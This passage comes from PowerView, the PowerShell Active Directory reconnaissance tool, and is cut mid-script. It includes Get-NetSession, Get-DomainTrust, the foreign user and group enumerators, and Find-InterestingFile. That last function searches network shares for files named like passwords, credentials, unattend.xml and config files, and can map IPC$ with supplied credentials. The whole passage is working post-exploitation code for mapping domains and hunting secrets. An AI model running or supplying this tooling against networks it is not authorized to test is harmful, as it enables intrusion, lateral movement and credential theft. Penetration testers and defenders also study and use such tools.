7394 for ($i = 0; ($i -lt $EntriesRead); $i++) {
7395 # create a new int ptr at the given offset and cast the pointer as our result structure
7396 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
7397 $Info = $NewIntPtr -as $SESSION_INFO_10
7398
7399 # return all the sections of the structure - have to do it this way for V2
7400 $Session = $Info | Select-Object *
7401 $Session | Add-Member Noteproperty 'ComputerName' $Computer
7402 $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo')
7403 $Offset = $NewIntPtr.ToInt64()
7404 $Offset += $Increment
7405 $Session
7406 }
7407
7408 # free up the result buffer
7409 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7410 }
7411 else {
7412 Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7413 }
7414 }
7415 }
7416
7417
7418 END {
7419 if ($LogonToken) {
7420 Invoke-RevertToSelf -TokenHandle $LogonToken
7421 }
7422 }
7423}
7424
7425function Get-NetComputerSiteName {
7426
7427 [OutputType('PowerView.ComputerSite')]
7428 [CmdletBinding()]
7429 Param(
7430 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7431 [Alias('HostName', 'dnshostname', 'name')]
7432 [ValidateNotNullOrEmpty()]
7433 [String[]]
7434 $ComputerName = 'localhost',
7435
7436 [Management.Automation.PSCredential]
7437 [Management.Automation.CredentialAttribute()]
7438 $Credential = [Management.Automation.PSCredential]::Empty
7439 )
7440
7441 BEGIN {
7442 if ($PSBoundParameters['Credential']) {
7443 $LogonToken = Invoke-UserImpersonation -Credential $Credential
7444 }
7445 }
7446
7447 PROCESS {
7448 ForEach ($Computer in $ComputerName) {
7449 # if we get an IP address, try to resolve the IP to a hostname
7450 if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
7451 $IPAddress = $Computer
7452 $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName
7453 }
7454 else {
7455 $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress
7456 }
7457
7458 $PtrInfo = [IntPtr]::Zero
7459
7460 $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
7461
7462 $ComputerSite = New-Object PSObject
7463 $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
7464 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
7465
7466 if ($Result -eq 0) {
7467 $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
7468 $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
7469 }
7470 else {
7471 Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7472 $ComputerSite | Add-Member Noteproperty 'SiteName' ''
7473 }
7474 $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
7475
7476 # free up the result buffer
7477 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7478
7479 $ComputerSite
7480 }
7481 }
7482
7483 END {
7484 if ($LogonToken) {
7485 Invoke-RevertToSelf -TokenHandle $LogonToken
7486 }
7487 }
7488}
7489
7490function Find-InterestingFile {
7491
7492
7493 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
7494 [OutputType('PowerView.FoundFile')]
7495 [CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
7496 Param(
7497 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7498 [ValidateNotNullOrEmpty()]
7499 [String[]]
7500 $Path = '.\',
7501
7502 [Parameter(ParameterSetName = 'FileSpecification')]
7503 [ValidateNotNullOrEmpty()]
7504 [Alias('SearchTerms', 'Terms')]
7505 [String[]]
7506 $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
7507
7508 [Parameter(ParameterSetName = 'FileSpecification')]
7509 [ValidateNotNullOrEmpty()]
7510 [DateTime]
7511 $LastAccessTime,
7512
7513 [Parameter(ParameterSetName = 'FileSpecification')]
7514 [ValidateNotNullOrEmpty()]
7515 [DateTime]
7516 $LastWriteTime,
7517
7518 [Parameter(ParameterSetName = 'FileSpecification')]
7519 [ValidateNotNullOrEmpty()]
7520 [DateTime]
7521 $CreationTime,
7522
7523 [Parameter(ParameterSetName = 'OfficeDocs')]
7524 [Switch]
7525 $OfficeDocs,
7526
7527 [Parameter(ParameterSetName = 'FreshEXEs')]
7528 [Switch]
7529 $FreshEXEs,
7530
7531 [Parameter(ParameterSetName = 'FileSpecification')]
7532 [Switch]
7533 $ExcludeFolders,
7534
7535 [Parameter(ParameterSetName = 'FileSpecification')]
7536 [Switch]
7537 $ExcludeHidden,
7538
7539 [Switch]
7540 $CheckWriteAccess,
7541
7542 [Management.Automation.PSCredential]
7543 [Management.Automation.CredentialAttribute()]
7544 $Credential = [Management.Automation.PSCredential]::Empty
7545 )
7546
7547 BEGIN {
7548 $SearcherArguments = @{
7549 'Recurse' = $True
7550 'ErrorAction' = 'SilentlyContinue'
7551 'Include' = $Include
7552 }
7553 if ($PSBoundParameters['OfficeDocs']) {
7554 $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
7555 }
7556 elseif ($PSBoundParameters['FreshEXEs']) {
7557 # find .exe's accessed within the last 7 days
7558 $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
7559 $SearcherArguments['Include'] = @('*.exe')
7560 }
7561 $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
7562
7563 $MappedComputers = @{}
7564
7565 function Test-Write {
7566 # short helper to check is the current user can write to a file
7567 [CmdletBinding()]Param([String]$Path)
7568 try {
7569 $Filetest = [IO.File]::OpenWrite($Path)
7570 $Filetest.Close()
7571 $True
7572 }
7573 catch {
7574 $False
7575 }
7576 }
7577 }
7578
7579 PROCESS {
7580 ForEach ($TargetPath in $Path) {
7581 if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
7582 $HostComputer = (New-Object System.Uri($TargetPath)).Host
7583 if (-not $MappedComputers[$HostComputer]) {
7584 # map IPC$ to this computer if it's not already
7585 Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
7586 $MappedComputers[$HostComputer] = $True
7587 }
7588 }
7589
7590 $SearcherArguments['Path'] = $TargetPath
7591 Get-ChildItem @SearcherArguments | ForEach-Object {
7592 # check if we're excluding folders
7593 $Continue = $True
7594 if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
7595 Write-Verbose "Excluding: $($_.FullName)"
7596 $Continue = $False
7597 }
7598 if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
7599 $Continue = $False
7600 }
7601 if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
7602 $Continue = $False
7603 }
7604 if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
7605 $Continue = $False
7606 }
7607 if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
7608 $Continue = $False
7609 }
7610 if ($Continue) {
7611 $FileParams = @{
7612 'Path' = $_.FullName
7613 'Owner' = $((Get-Acl $_.FullName).Owner)
7614 'LastAccessTime' = $_.LastAccessTime
7615 'LastWriteTime' = $_.LastWriteTime
7616 'CreationTime' = $_.CreationTime
7617 'Length' = $_.Length
7618 }
7619 $FoundFile = New-Object -TypeName PSObject -Property $FileParams
7620 $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
7621 $FoundFile
7622 }
7623 }
7624 }
7625 }
7626
7627 END {
7628 # remove the IPC$ mappings
7629 $MappedComputers.Keys | Remove-RemoteConnection
7630 }
7631}
7632
7633function Get-DomainTrust {
7634
7635 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
7636 [OutputType('PowerView.DomainTrust.NET')]
7637 [OutputType('PowerView.DomainTrust.LDAP')]
7638 [OutputType('PowerView.DomainTrust.API')]
7639 [CmdletBinding(DefaultParameterSetName = 'NET')]
7640 Param(
7641 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7642 [Alias('Name')]
7643 [ValidateNotNullOrEmpty()]
7644 [String]
7645 $Domain,
7646
7647 [Parameter(ParameterSetName = 'API')]
7648 [Switch]
7649 $API,
7650
7651 [Parameter(ParameterSetName = 'LDAP')]
7652 [Switch]
7653 $LDAP,
7654
7655 [Parameter(ParameterSetName = 'LDAP')]
7656 [ValidateNotNullOrEmpty()]
7657 [Alias('Filter')]
7658 [String]
7659 $LDAPFilter,
7660
7661 [Parameter(ParameterSetName = 'LDAP')]
7662 [ValidateNotNullOrEmpty()]
7663 [String[]]
7664 $Properties,
7665
7666 [Parameter(ParameterSetName = 'LDAP')]
7667 [ValidateNotNullOrEmpty()]
7668 [Alias('ADSPath')]
7669 [String]
7670 $SearchBase,
7671
7672 [Parameter(ParameterSetName = 'LDAP')]
7673 [Parameter(ParameterSetName = 'API')]
7674 [ValidateNotNullOrEmpty()]
7675 [Alias('DomainController')]
7676 [String]
7677 $Server,
7678
7679 [Parameter(ParameterSetName = 'LDAP')]
7680 [ValidateSet('Base', 'OneLevel', 'Subtree')]
7681 [String]
7682 $SearchScope = 'Subtree',
7683
7684 [Parameter(ParameterSetName = 'LDAP')]
7685 [ValidateRange(1, 10000)]
7686 [Int]
7687 $ResultPageSize = 200,
7688
7689 [Parameter(ParameterSetName = 'LDAP')]
7690 [ValidateRange(1, 10000)]
7691 [Int]
7692 $ServerTimeLimit,
7693
7694 [Parameter(ParameterSetName = 'LDAP')]
7695 [Switch]
7696 $Tombstone,
7697
7698 [Alias('ReturnOne')]
7699 [Switch]
7700 $FindOne,
7701
7702 [Parameter(ParameterSetName = 'LDAP')]
7703 [Management.Automation.PSCredential]
7704 [Management.Automation.CredentialAttribute()]
7705 $Credential = [Management.Automation.PSCredential]::Empty
7706 )
7707
7708 BEGIN {
7709 $TrustAttributes = @{
7710 [uint32]'0x00000001' = 'non_transitive'
7711 [uint32]'0x00000002' = 'uplevel_only'
7712 [uint32]'0x00000004' = 'quarantined_domain'
7713 [uint32]'0x00000008' = 'forest_transitive'
7714 [uint32]'0x00000010' = 'cross_organization'
7715 [uint32]'0x00000020' = 'within_forest'
7716 [uint32]'0x00000040' = 'treat_as_external'
7717 [uint32]'0x00000080' = 'trust_uses_rc4_encryption'
7718 [uint32]'0x00000100' = 'trust_uses_aes_keys'
7719 [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'
7720 [uint32]'0x00000400' = 'pim_trust'
7721 }
7722
7723 $LdapSearcherArguments = @{}
7724 if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter }
7725 if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties }
7726 if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase }
7727 if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
7728 if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope }
7729 if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize }
7730 if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
7731 if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone }
7732 if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential }
7733 }
7734
7735 PROCESS {
7736 if ($PsCmdlet.ParameterSetName -ne 'API') {
7737 $NetSearcherArguments = @{}
7738 if ($Domain -and $Domain.Trim() -ne '') {
7739 $SourceDomain = $Domain
7740 }
7741 else {
7742 if ($PSBoundParameters['Credential']) {
7743 $SourceDomain = (Get-Domain -Credential $Credential).Name
7744 }
7745 else {
7746 $SourceDomain = (Get-Domain).Name
7747 }
7748 }
7749
7750 $NetSearcherArguments['Domain'] = $SourceDomain
7751 if ($PSBoundParameters['Credential']) { $NetSearcherArguments['Credential'] = $Credential }
7752 }
7753 else {
7754 if ($Domain -and $Domain.Trim() -ne '') {
7755 $SourceDomain = $Domain
7756 }
7757 else {
7758 $SourceDomain = $Env:USERDNSDOMAIN
7759 }
7760 }
7761
7762 if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
7763 # if we're searching for domain trusts through LDAP/ADSI
7764 $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments
7765 $SourceSID = Get-DomainSID @NetSearcherArguments
7766
7767 if ($TrustSearcher) {
7768
7769 $TrustSearcher.Filter = '(objectClass=trustedDomain)'
7770
7771 if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() }
7772 else { $Results = $TrustSearcher.FindAll() }
7773 $Results | Where-Object {$_} | ForEach-Object {
7774 $Props = $_.Properties
7775 $DomainTrust = New-Object PSObject
7776
7777 $TrustAttrib = @()
7778 $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
7779
7780 $Direction = Switch ($Props.trustdirection) {
7781 0 { 'Disabled' }
7782 1 { 'Inbound' }
7783 2 { 'Outbound' }
7784 3 { 'Bidirectional' }
7785 }
7786
7787 $ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
7788 $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
7789
7790 $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
7791 $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
7792 $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
7793 $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
7794 $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
7795 $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')
7796 $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
7797 $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
7798 $DomainTrust
7799 }
7800 if ($Results) {
7801 try { $Results.dispose() }
7802 catch {
7803 Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
7804 }
7805 }
7806 $TrustSearcher.dispose()
7807 }
7808 }
7809 elseif ($PsCmdlet.ParameterSetName -eq 'API') {
7810 # if we're searching for domain trusts through Win32 API functions
7811 if ($PSBoundParameters['Server']) {
7812 $TargetDC = $Server
7813 }
7814 elseif ($Domain -and $Domain.Trim() -ne '') {
7815 $TargetDC = $Domain
7816 }
7817 else {
7818 # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior
7819 $TargetDC = $Null
7820 }
7821
7822 # arguments for DsEnumerateDomainTrusts
7823 $PtrInfo = [IntPtr]::Zero
7824
7825 # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
7826 $Flags = 63
7827 $DomainCount = 0
7828
7829 # get the trust information from the target server
7830 $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
7831
7832 # Locate the offset of the initial intPtr
7833 $Offset = $PtrInfo.ToInt64()
7834
7835 # 0 = success
7836 if (($Result -eq 0) -and ($Offset -gt 0)) {
7837
7838 # Work out how much to increment the pointer by finding out the size of the structure
7839 $Increment = $DS_DOMAIN_TRUSTS::GetSize()
7840
7841 # parse all the result structures
7842 for ($i = 0; ($i -lt $DomainCount); $i++) {
7843 # create a new int ptr at the given offset and cast the pointer as our result structure
7844 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
7845 $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
7846
7847 $Offset = $NewIntPtr.ToInt64()
7848 $Offset += $Increment
7849
7850 $SidString = ''
7851 $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
7852
7853 if ($Result -eq 0) {
7854 Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
7855 }
7856 else {
7857 $DomainTrust = New-Object PSObject
7858 $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
7859 $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
7860 $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName
7861 $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
7862 $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
7863 $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
7864 $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
7865 $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
7866 $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
7867 $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
7868 $DomainTrust
7869 }
7870 }
7871 # free up the result buffer
7872 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7873 }
7874 else {
7875 Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7876 }
7877 }
7878 else {
7879 # if we're searching for domain trusts through .NET methods
7880 $FoundDomain = Get-Domain @NetSearcherArguments
7881 if ($FoundDomain) {
7882 $FoundDomain.GetAllTrustRelationships() | ForEach-Object {
7883 $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
7884 $_
7885 }
7886 }
7887 }
7888 }
7889}
7890
7891function Get-DomainForeignUser {
7892
7893 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
7894 [OutputType('PowerView.ForeignUser')]
7895 [CmdletBinding()]
7896 Param(
7897 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7898 [Alias('Name')]
7899 [ValidateNotNullOrEmpty()]
7900 [String]
7901 $Domain,
7902
7903 [ValidateNotNullOrEmpty()]
7904 [Alias('Filter')]
7905 [String]
7906 $LDAPFilter,
7907
7908 [ValidateNotNullOrEmpty()]
7909 [String[]]
7910 $Properties,
7911
7912 [ValidateNotNullOrEmpty()]
7913 [Alias('ADSPath')]
7914 [String]
7915 $SearchBase,
7916
7917 [ValidateNotNullOrEmpty()]
7918 [Alias('DomainController')]
7919 [String]
7920 $Server,
7921
7922 [ValidateSet('Base', 'OneLevel', 'Subtree')]
7923 [String]
7924 $SearchScope = 'Subtree',
7925
7926 [ValidateRange(1, 10000)]
7927 [Int]
7928 $ResultPageSize = 200,
7929
7930 [ValidateRange(1, 10000)]
7931 [Int]
7932 $ServerTimeLimit,
7933
7934 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
7935 [String]
7936 $SecurityMasks,
7937
7938 [Switch]
7939 $Tombstone,
7940
7941 [Management.Automation.PSCredential]
7942 [Management.Automation.CredentialAttribute()]
7943 $Credential = [Management.Automation.PSCredential]::Empty
7944 )
7945
7946 BEGIN {
7947 $SearcherArguments = @{}
7948 $SearcherArguments['LDAPFilter'] = '(memberof=*)'
7949 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
7950 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
7951 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
7952 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
7953 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
7954 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
7955 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
7956 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
7957 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
7958 if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
7959 }
7960
7961 PROCESS {
7962 if ($PSBoundParameters['Domain']) {
7963 $SearcherArguments['Domain'] = $Domain
7964 $TargetDomain = $Domain
7965 }
7966 elseif ($PSBoundParameters['Credential']) {
7967 $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name
7968 }
7969 elseif ($Env:USERDNSDOMAIN) {
7970 $TargetDomain = $Env:USERDNSDOMAIN
7971 }
7972 else {
7973 throw "[Get-DomainForeignUser] No domain found to enumerate!"
7974 }
7975
7976 Get-DomainUser @SearcherArguments | ForEach-Object {
7977 ForEach ($Membership in $_.memberof) {
7978 $Index = $Membership.IndexOf('DC=')
7979 if ($Index) {
7980
7981 $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
7982
7983 if ($GroupDomain -ne $TargetDomain) {
7984 # if the group domain doesn't match the user domain, display it
7985 $GroupName = $Membership.Split(',')[0].split('=')[1]
7986 $ForeignUser = New-Object PSObject
7987 $ForeignUser | Add-Member Noteproperty 'UserDomain' $TargetDomain
7988 $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
7989 $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
7990 $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
7991 $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
7992 $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
7993 $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
7994 $ForeignUser
7995 }
7996 }
7997 }
7998 }
7999 }
8000}
8001
8002function Get-DomainForeignGroupMember {
8003
8004
8005 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
8006 [OutputType('PowerView.ForeignGroupMember')]
8007 [CmdletBinding()]
8008 Param(
8009 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
8010 [Alias('Name')]
8011 [ValidateNotNullOrEmpty()]
8012 [String]
8013 $Domain,
8014
8015 [ValidateNotNullOrEmpty()]
8016 [Alias('Filter')]
8017 [String]
8018 $LDAPFilter,
8019
8020 [ValidateNotNullOrEmpty()]
8021 [String[]]
8022 $Properties,
8023
8024 [ValidateNotNullOrEmpty()]
8025 [Alias('ADSPath')]
8026 [String]
8027 $SearchBase,
8028
8029 [ValidateNotNullOrEmpty()]
8030 [Alias('DomainController')]
8031 [String]
8032 $Server,
8033
8034 [ValidateSet('Base', 'OneLevel', 'Subtree')]
8035 [String]
8036 $SearchScope = 'Subtree',
8037
8038 [ValidateRange(1, 10000)]
8039 [Int]
8040 $ResultPageSize = 200,
8041
8042 [ValidateRange(1, 10000)]
8043 [Int]
8044 $ServerTimeLimit,
8045
8046 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
8047 [String]
8048 $SecurityMasks,
8049
8050 [Switch]
8051 $Tombstone,
8052
8053 [Management.Automation.PSCredential]
8054 [Management.Automation.CredentialAttribute()]
8055 $Credential = [Management.Automation.PSCredential]::Empty
8056 )
8057
8058 BEGIN {
8059 $SearcherArguments = @{}
8060 $SearcherArguments['LDAPFilter'] = '(member=*)'
8061 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
8062 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
8063 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
8064 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
8065 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
8066 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
8067 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
8068 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
8069 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
8070 if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
8071 }
8072
8073 PROCESS {
8074 if ($PSBoundParameters['Domain']) {
8075 $SearcherArguments['Domain'] = $Domain
8076 $TargetDomain = $Domain
8077 }
8078 elseif ($PSBoundParameters['Credential']) {
8079 $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name
8080 }
8081 elseif ($Env:USERDNSDOMAIN) {
8082 $TargetDomain = $Env:USERDNSDOMAIN
8083 }
8084 else {
8085 throw "[Get-DomainForeignGroupMember] No domain found to enumerate!"
8086 }
8087
8088 # standard group names to ignore
8089 $ExcludeGroups = @('Users', 'Domain Users', 'Guests')
8090 $DomainDN = "DC=$($TargetDomain.Replace('.', ',DC='))"
8091
8092 Get-DomainGroup @SearcherArguments | Where-Object {$ExcludeGroups -notcontains $_.samaccountname} | ForEach-Object {
8093 $GroupName = $_.samAccountName
8094 $GroupDistinguishedName = $_.distinguishedname
8095
8096 $_.member | ForEach-Object {
8097 # filter for foreign SIDs in the cn field for users in another domain,
8098 # or if the DN doesn't end with the proper DN for the queried domain
8099 if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.SubString($_.IndexOf('DC='))))) {
8100
8101 $MemberDistinguishedName = $_
8102 $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
8103 $MemberName = $_.Split(',')[0].split('=')[1]
8104
8105 $ForeignGroupMember = New-Object PSObject
8106 $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
8107 $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
8108 $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName
8109 $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
8110 $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName
8111 $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName
8112 $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember')
8113 $ForeignGroupMember
8114 }
8115 }
8116 }
8117 }
8118}
8119
8120
8121
8122$Mod = New-InMemoryModule -ModuleName Win32
8123
8124# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
8125
8126# used to parse the 'samAccountType' property for users/computers/groups
8127$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
8128 DOMAIN_OBJECT = '0x00000000'
8129 GROUP_OBJECT = '0x10000000'
8130 NON_SECURITY_GROUP_OBJECT = '0x10000001'
8131 ALIAS_OBJECT = '0x20000000'
8132 NON_SECURITY_ALIAS_OBJECT = '0x20000001'
8133 USER_OBJECT = '0x30000000'
8134 MACHINE_ACCOUNT = '0x30000001'
8135 TRUST_ACCOUNT = '0x30000002'
8136 APP_BASIC_GROUP = '0x40000000'
8137 APP_QUERY_GROUP = '0x40000001'
8138 ACCOUNT_TYPE_MAX = '0x7fffffff'
8139}
8140
8141# used to parse the 'grouptype' property for groups
8142$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
8143 CREATED_BY_SYSTEM = '0x00000001'
8144 GLOBAL_SCOPE = '0x00000002'
8145 DOMAIN_LOCAL_SCOPE = '0x00000004'
8146 UNIVERSAL_SCOPE = '0x00000008'
8147 APP_BASIC = '0x00000010'
8148 APP_QUERY = '0x00000020'
8149 SECURITY = '0x80000000'
8150} -Bitfield
8151
8152# used to parse the 'userAccountControl' property for users/groups
8153$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
8154 SCRIPT = 1
8155 ACCOUNTDISABLE = 2
8156 HOMEDIR_REQUIRED = 8
8157 LOCKOUT = 16
8158 PASSWD_NOTREQD = 32
8159 PASSWD_CANT_CHANGE = 64
8160 ENCRYPTED_TEXT_PWD_ALLOWED = 128
8161 TEMP_DUPLICATE_ACCOUNT = 256
8162 NORMAL_ACCOUNT = 512
8163 INTERDOMAIN_TRUST_ACCOUNT = 2048
8164 WORKSTATION_TRUST_ACCOUNT = 4096
8165 SERVER_TRUST_ACCOUNT = 8192
8166 DONT_EXPIRE_PASSWORD = 65536
8167 MNS_LOGON_ACCOUNT = 131072
8168 SMARTCARD_REQUIRED = 262144
8169 TRUSTED_FOR_DELEGATION = 524288
8170 NOT_DELEGATED = 1048576
8171 USE_DES_KEY_ONLY = 2097152
8172 DONT_REQ_PREAUTH = 4194304
8173 PASSWORD_EXPIRED = 8388608
8174 TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
8175 PARTIAL_SECRETS_ACCOUNT = 67108864
8176} -Bitfield
8177
8178# enum used by $WTS_SESSION_INFO_1 below
8179$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
8180 Active = 0
8181 Connected = 1
8182 ConnectQuery = 2
8183 Shadow = 3
8184 Disconnected = 4
8185 Idle = 5
8186 Listen = 6
8187 Reset = 7
8188 Down = 8
8189 Init = 9
8190}
8191
8192# the WTSEnumerateSessionsEx result structure
